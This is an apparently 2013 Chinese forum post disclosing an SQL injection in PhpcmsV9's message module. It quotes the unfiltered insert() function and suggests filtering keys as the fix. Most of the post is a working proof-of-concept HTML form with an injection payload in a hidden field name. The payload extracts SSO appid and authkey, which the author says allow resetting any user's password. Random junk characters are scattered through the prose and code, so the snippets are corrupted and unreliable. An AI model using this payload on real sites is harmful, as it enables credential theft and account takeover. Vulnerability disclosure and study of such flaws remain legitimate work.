找回密码
 立即注册
查看: 3014|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:: Q* t+ t0 f( v" M

2 k3 I1 Q8 G% d! E% n% @第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
* Q2 U8 r0 m& Q. F1 ], Z- A6 v
) f+ P* b. l7 `' t' x3 b1 [9 Y明天再更新下一个漏洞。5 @/ D8 I5 |4 i: V4 O
详细说明:
. _: `- G  J& i  w0 R/ I6 R" @在/phpcms9/phpcms/modules/message/index.php中有代码如下:) T0 R* E# C/ I$ u% l
( O# t! \1 a5 f" M* P
$messageid = $this->message_db->insert($_POST['info'],true);3 l  ~( l  B' |9 j+ k- N9 O7 |6 X8 \+ J
: K9 p" i' r5 s0 j) A8 }+ g

' Z0 c6 }- T3 A7 Rinsert方法是key value的,代码如下:
7 q, Y' f8 W+ H8 \& J3 X; @: c5 c: z6 ^8 k
public function insert($data, $table, $return_insert_id = false, $replace = false) {% M; H! A4 o& n& h
                if(!is_array( $data ) || $table == '' || count($data) == 0) {, I2 ]  ~" f- X6 ], A+ t$ q/ h& z
                        return false;
8 @5 R/ T- i% {, W                }
  n, j6 a# x% E! A# M/ W                5 B/ O) \/ e/ O- e4 Y- Y
                $fielddata = array_keys($data);2 [8 z# d' c$ \) {/ T8 A# L
                $valuedata = array_values($data);
  M* R+ A! }( l7 Q                array_walk($fielddata, array($this, 'add_special_char'));
( N6 N2 U; a& a& h8 J8 k                array_walk($valuedata, array($this, 'escape_string'));3 Y" H& I2 f  d/ M7 Q! t
               
: u, Z! |+ `( F' @5 }3 R                $field = implode (',', $fielddata);
& B" r9 B9 |% v& R' h                $value = implode (',', $valuedata);8 Z1 S& y1 }7 h* ]

+ V6 c0 R8 W4 ^4 f4 O                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
: Q( u; k6 S- @1 z                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
. w: d9 d- g0 o0 B. }                $return = $this->execute($sql);
! N7 x" m# ^- |" R+ f* i; H. r                return $return_insert_id ? $this->insert_id() : $return;+ x& x  B1 _9 w7 f% k; y- ?
        }/ y$ F; t2 t* `* a
3 Y3 M: q1 j3 z( Y' Q- I

$ J- \5 D2 v; ^' X- W嗯,很遗憾的是
: \/ k; o* A" Q$ W9 b2 K- B5 a% t3 @. P; ?7 |- a& v4 D2 O. V5 B& ~
array_walk($fielddata, array($this, 'add_special_char'));0 L- L( i2 D! P% |( z

# N7 t  Z  k# q
& T1 w" H8 u# Q" v5 v/ u5 m, `中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# K) m1 e+ L/ J2 E5 z& t$ }

! C6 w5 R2 [. e1 r到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。( j+ z1 c% F8 M
" g1 k7 g, w' D0 j; b, S6 g
漏洞证明:
7 F& u, R$ Z. t! A读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
8 p2 y4 k" O9 U) K1 b8 `$ W/ M% K+ D) T  w& a- V, q3 i
) q. E6 Q: `& H5 D+ a
表单如下:用户名什么的得自己改一改。
3 P+ ^! g% r6 y<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
1 _  E6 K9 l) s/ C<table width="100%" cellspacing="0" class="table_form">8 S/ e* y* {7 M  n/ u0 q2 b6 y; s! L
<tr>2 Q# T- p. d' C) I: a9 n
<th>标 题:</th>7 O& y7 H$ M& F: V- |9 w) j
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
# n1 E, R  [* C' s</tr>
% g. C& x. ~- B) N  Q<tr># {6 X9 i, I' _
<th>内 容:</th>
, {' A5 T; C7 ^# I<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>0 S3 H" V$ ?! ^; }" Y* E3 G& N
</tr>- ~3 B. H4 a, z8 w4 `5 j
<input type="hidden" name="info[replyid]" value="2" />
8 L/ I" v) Z) g8 ~0 n<input type="hidden" name="info[send_to_id]" value="cc" />
4 R" H) l, k" H6 K<input type="hidden" name="info[send_from_id]" value="hh">+ T6 S. G0 k! {+ ~+ `7 u/ B* j: c
<!-- 漏洞的利用重点在这里开始 -->
& U9 S# U, g; _& I, f: C4 z: S<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> . g) Q, B3 z' i' w0 C; D: ?% v6 f7 ?* ~
<!-- 漏洞的利用重点在这里结束 -->
4 _2 D, V# G/ S6 W: P, _% N) a, R2 f. g<tr>9 R0 i4 Q: {, C0 q: s
<th>验证码:</th>& ?  G$ H2 A) I% ~) i* `. K- W
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>- b) y# k4 ?4 n6 q1 F7 d! R0 U6 j
</tr>
, w2 _7 X6 h: p$ {<tr>
0 @# A% X: k$ z( D8 E<td></td>4 s0 p4 C3 e* b+ }( I2 d: O
<td colspan="2"><label>
# `; `6 h; S& {1 \+ @+ i" v+ U<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>- q' E, q0 N5 ]0 r0 \! K! D$ L
</label></td>+ r3 t! h: `: S. o0 Z" A- Q9 F
</tr># h  c$ p* ^5 y$ s4 R
</table>
3 @6 A6 F: G& p/ J</form>
5 C' w; N' `4 b# j$ _1 a% V在add_special_char函数内对key做过滤就可以了。& @' i7 _4 O6 M$ M4 i. N8 ^

% s) G+ y( z" P
( e* i9 \9 y! V7 s' q$ B8 q, p  A8 Y. P

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表